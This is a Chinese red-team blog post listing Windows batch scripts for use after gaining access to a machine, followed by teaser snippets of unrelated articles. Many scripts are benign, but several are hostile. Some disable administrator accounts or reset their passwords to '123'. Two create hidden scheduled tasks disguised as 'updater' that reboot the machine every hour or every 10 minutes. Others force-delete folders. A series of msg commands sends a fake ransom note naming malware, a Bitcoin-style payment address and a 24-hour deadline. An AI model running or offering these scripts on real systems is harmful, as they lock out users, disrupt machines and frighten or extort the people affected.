[ 红队知识库 ] 一些常用bat文件集合
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
文章目录
- 🍬 博主介绍
- 一、系统程序操作
- 1、打开记事本
- 2、关闭记事本
- 3、打开注册表
- 4、弹出计算器
- 5、关闭计算器
- 6、锁屏
- 二、服务相关操作
- 1、开启mysql服务
- 2、关闭mysql服务
- 三、账号相关操作
- 1、禁用账号
- 2、启用账号
- 3、禁用管理员账号
- 四、计划任务相关操作
- 1、新建计划任务每隔1小时重启一次电脑
- 2、新建计划任务每隔10分钟重启一次电脑
- 五、浏览器相关操作
- 1、打开火狐浏览器
- 2、关闭火狐浏览器
- 3、卸载火狐浏览器
- 4、打开谷歌浏览器
- 5、打开谷歌浏览器&&访问站点
- 六、文件夹相关操作
- 1、创建文件夹
- 2、批量创建文件夹
- 3、打开文件夹
- 4、删除文件夹
- 七、文件夹相关操作
- 1、创建文件
- 2、批量创建文件
- 3、打开文件
- 4、删除文件
- 5、执行dir命令追加到同目录下123.txt
- 八、msg发送消息
常用bat文件,我一般用于拿到权限后的演示,当然也可以玩,有部分危险操作,请规范使用
一、系统程序操作
1、打开记事本
@echo off
start notepad.exe
exit
2、关闭记事本
@echo off
taskkill /f /im notepad.exe
exit
3、打开注册表
@echo off
regedit
exit
4、弹出计算器
@echo off
start calc.exe
5、关闭计算器
@echo off
taskkill /f /im CalculatorApp.exe
exit
6、锁屏
rundll32.exe user32.dll LockWorkStation
二、服务相关操作
1、开启mysql服务
@echo off
net start mysql
echo mysql 服务已启动
2、关闭mysql服务
@echo off
net stop "MySQL"
echo MySQL 服务已关闭!
三、账号相关操作
1、禁用账号
@echo off
net user 用户名 /active:no
exit
2、启用账号
@echo off
net user 用户名 /active:yes
exit
3、禁用管理员账号
@echo off
net user Administrator /active:no
net user admin /active:no
exit
## 4、修改管理员账号密码为123
```bash
@echo off
net user administrator “123”
net user admin “123”
exit
四、计划任务相关操作
1、新建计划任务每隔1小时重启一次电脑
schtasks /create /tn updater /tr "powershell.exe -nop -w hidden -c shutdown -r" /sc hourly /mo 1
2、新建计划任务每隔10分钟重启一次电脑
schtasks /create /tn updater /tr "powershell.exe -nop -w hidden -c shutdown -r" /sc minute /mo 10
五、浏览器相关操作
1、打开火狐浏览器
@echo off
"C:\Program Files\Mozilla Firefox\firefox.exe"
pause
2、关闭火狐浏览器
@echo off
taskkill /f /im firefox.exe
pause
3、卸载火狐浏览器
@echo off
echo 开始卸载火狐浏览器...
"%PROGRAMFILES(X86)%\Mozilla Firefox\uninstall\helper.exe" /S
echo 卸载完成!
4、打开谷歌浏览器
@echo off
start chrome http://10.10.12.12
pause
5、打开谷歌浏览器&&访问站点
@echo off
start chrome http://10.10.12.12
www.google.com
pause
六、文件夹相关操作
1、创建文件夹
@echo off
md C:\hack1
echo 文件创建完毕
2、批量创建文件夹
@echo off
echo 正在创建hack0.txt~hack100.txt共一百个文本文件......
for /l %%i in (0, 1, 99) do (
md hack%%i
)
echo 文件创建完毕
3、打开文件夹
@echo off
start C:\hack1
echo 文件打开完毕
4、删除文件夹
@echo off
rd /s/q C:\hack%%i
echo 文件删除完毕
七、文件夹相关操作
1、创建文件
@echo off
md C:\hack1.txt
echo 文件创建完毕
2、批量创建文件
@echo off
echo 正在创建hack0.txt~hack100.txt共一百个文本文件......
for /l %%i in (0, 1, 99) do (
echo 我是hack%%i.txt文件 >> hack%%i.txt
)
echo 文件创建完毕
3、打开文件
@echo off
start C:\hack1.txt
echo 文件打开完毕
4、删除文件
@echo off
rd /s/q C:\hack1.txt
echo 文件删除完毕
5、执行dir命令追加到同目录下123.txt
@echo off
dir c:\windows\ >> 123.txt
exit
八、msg发送消息
语法:msg /server:对端IP地址 * “hello”
举例如下:
@echo off
msg /server:localhost * "hello"
msg /server:localhost * "I me hack"
msg /server:localhost * "I uploaded a system virus such as CIH on your computer"
msg /server:localhost * "I uploaded a small postman etc. worm on your computer"
msg /server:localhost * "I uploaded Hack.Nether.Client and other Trojans on your computer"
msg /server:localhost * "I uploaded a script virus like VBS.Happytime on your computer"
msg /server:localhost * "I uploaded macro viruses like Macro.Melissa on your computer"
msg /server:localhost * "I uploaded a backdoor virus like Backdoor.IRCBot on your computer"
msg /server:localhost * "I uploaded a virus planter virus such as Dropper.BingHe2.2C on your computer"
msg /server:localhost * "I uploaded a destructive program virus such as Harm.formatC.f on your computer"
msg /server:localhost * "I uploaded joke viruses like Joke.Girlghost on your computer"
msg /server:localhost * "I uploaded bundles and viruses like Binder.killsys on your computer"
msg /server:localhost * "If you don't want these viruses to execute on your computer"
msg /server:localhost * "Please remit 10000 Russell to your 1HrA3RRipdtCeSfzLGY611wcrH3SDjyrHj account"
msg /server:localhost * "Don't think about deleting them, you're too late"
msg /server:localhost * "You still have 24 hours"
exit
相关文章:
[ 红队知识库 ] 一些常用bat文件集合
🍬 博主介绍 👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…...
Qt广告机服务器(上位机)
目录功能结构adSever.promain.cpptcp_MSG.h 共用Tcp传输信息adsever.h 服务器adsever.cpp 服务器addate.h 时间处理addate.cpp 时间处理adtcp.h 客户端Socket处理adtcp.cpp 客户端Socket处理client.h 客户端信息类client.cpp 客户端信息类admsglist.h 信息记录模块admsglist.cp…...
SOA架构的理解
1. SOA概述 SOA(Service-Oriented Architecture,面向服务的架构)是一种在计算机环境中设计、开发、部署和管理离散模型的方法。SOA不是一种新鲜事物,它是在企业内部IT系统重复构建以及效率低下的背景下提出的。在SOA模型中&#x…...
如何选择一款数据库?
1主流数据库技术介绍常见的数据库模型主要分为SQL关系型数据库和NoSQL非关系型数据库。其中关系型数据库分为传统关系数据库和大数据数据库,非关系型数据库分为键值存储数据库、列存储数据库、面向文档数据库、图形数据库、时序数据库、搜索引擎存储数据库及其他&am…...
week2
蓝桥2 递归*树的遍历约数之和分形之城并查集亲戚连通块中点的数量*食物链银河英雄传说哈希笨拙的手指模拟散列表单调队列剪裁序列滑动窗口最大子序和KMP周期递归 *树的遍历 中序遍历: 遍历左子树,根节点,右子树 后序遍历:遍历左子树,右子树,根节点 一个二叉树,树中每个…...
JavaScript的学习
一、引言 1.1 JavaScript简介 JavaScript一种解释性脚本语言,是一种动态类型、弱类型、基于原型继承的语言,内置支持类型。它的解释器被称为JavaScript引擎,作为浏览器的一部分,广泛用于客户端的脚本语言,用来给HTML网…...
用gin写简单的crud后端API接口
提要使用gin框架(go的web框架)来创建简单的几个crud接口)使用技术: gin sqlite3 sqlx创建初始工程新建文件夹,创建三个子文件夹分别初始化工程 go mod如果没有.go文件,执行go mod tidy可能报错(warning: "all" matched no packages), 可以先不弄,只初始化模块就行(…...
CF大陆斗C战士(三)
文章目录[C. Good Subarrays](https://codeforces.com/problemset/problem/1398/C)题目大意题目分析code[C. Boboniu and Bit Operations](https://codeforces.com/problemset/problem/1395/C)题目大意题目分析code[C. Rings](https://codeforces.com/problemset/problem/1562/…...
TTS | 语音合成论文概述
综述系列2021_A Survey on Neural Speech Synthesis论文:2106.15561.pdf (arxiv.org)论文从两个方面对神经语音合成领域的发展现状进行了梳理总结(逻辑框架如图1所示):核心模块:分别从文本分析(textanalysi…...
HTML第5天 HTML新标签与特性
新标签与特性文档类型设定前端复习帮手W3Schoool常用新标签datalist标签,与input元素配合,定义选项列表fieldset元素新增input表单文档类型设定 document – HTML: 开发环境输入html:4s – XHTML: 开发环境输入html:xt – HTML5: 开发环境输入html:5 前…...
java ee 之进程
目录 1.进程的概念 2.进程管理 3.进程属性(pcb) 3.1pid 3.2内存指针 3.3文件描述符 3.4进程调度 3.4.1进程状态 3.4.2 进程的优先级 3.4.3进程的上下文 3.4.4进程的记账信息 5.进程间通信 1.进程的概念 一个运行起来的程序,就是进程 .exe是一个可执行文件(程序),双…...
Linux学习记录——십사 进程控制(1)
文章目录1、进程创建1、fork函数2、进程终止1、情况分类2、如何理解进程终止3、进程终止的方式3、进程等待1、进程创建 1、fork函数 fork函数从已存在进程中创建一个新进程,新进程为子进程,原进程为父进程。 #include <unistd.h> pid_t fork(vo…...
使用 create-react-app 脚手架搭建React项目
❀官网 1、安装脚手架:npm install -g create-react-app 2、查看版本:create-react-app -V !!!注意 Node版本必须是14以上,不然会报以下错误。 3、创建react项目(项目名不能包含大写字母&…...
inquirerjs
inquirerjs inquirerjs是一个用来实现命令行交互界面的工具集合。它帮助我们实现与用户的交互交流,比如给用户一个提醒,用户给我们一个答案,我们根据用户的答案来做一些事情,典型应用如plop等生成器工具。 npm install inquirer…...
[数据库]内置函数
●🧑个人主页:你帅你先说. ●📃欢迎点赞👍关注💡收藏💖 ●📖既选择了远方,便只顾风雨兼程。 ●🤟欢迎大家有问题随时私信我! ●🧐版权:本文由[你帅…...
shell基本知识
为什么学习和使用Shell编程 什么是Shell shell的起源 shell的功能 shell的分类 如何查看当前系统支持的shell? 如何查看当前系统默认shell? 驼峰语句 shell脚本的基本元素 shell脚本编写规范 shell脚本的执行方式 shell脚本的退出状态 …...
Http长连接和短连接
http1.0以前,默认使用的是短连接,客户端与服务器之间每进行一次http操作,就会建立一次连接,例如,打开一个网页,包括html文件,js,css,每获取一次资源,就需要进…...
[SQL Statements] 基本的SQL知识 之DDL针对表结构和表空间的基本操作
[SQL Statements] 基本的SQL知识 之DDL针对表结构和表空间的基本操作 什么是数据库的表以及表空间 在MySQL中,一个数据库可以包含多个表,每个表是由若干个列(column)和行(row)组成的。表是存储数据的基本…...
Git版本控制工具(详解)
Git版本控制工具 Git常见命令速查表 集中式版本控制 cvs和svn都是属于集中式版本控制系统 他们的主要特点是单一的集中管理服务器 保存所有文件的修订版本协同开发人员通过客户端连接到这台服务器 取出最新的文件或者提交更新 优点每个人都可以在一定程度上看到项目中的其他…...
408考研计算机之计算机组成与设计——知识点及其做题经验篇目2:指令系统
今天我们来讲一讲指令系统里面的知识点以及做题技巧 1、定义 考点1:指令定义 指令是指示计算机执行某种操作的命令,一台计算机的所有指令的集合构成该机的指令系统,也称为指令集。指令系统是指令集体系结构ISA中最核心的部分,ISA…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
Neo4j 集群管理:原理、技术与最佳实践深度解析
Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档,本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石,用于构建高可用、可扩展且一致的图数据库服务…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)
推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
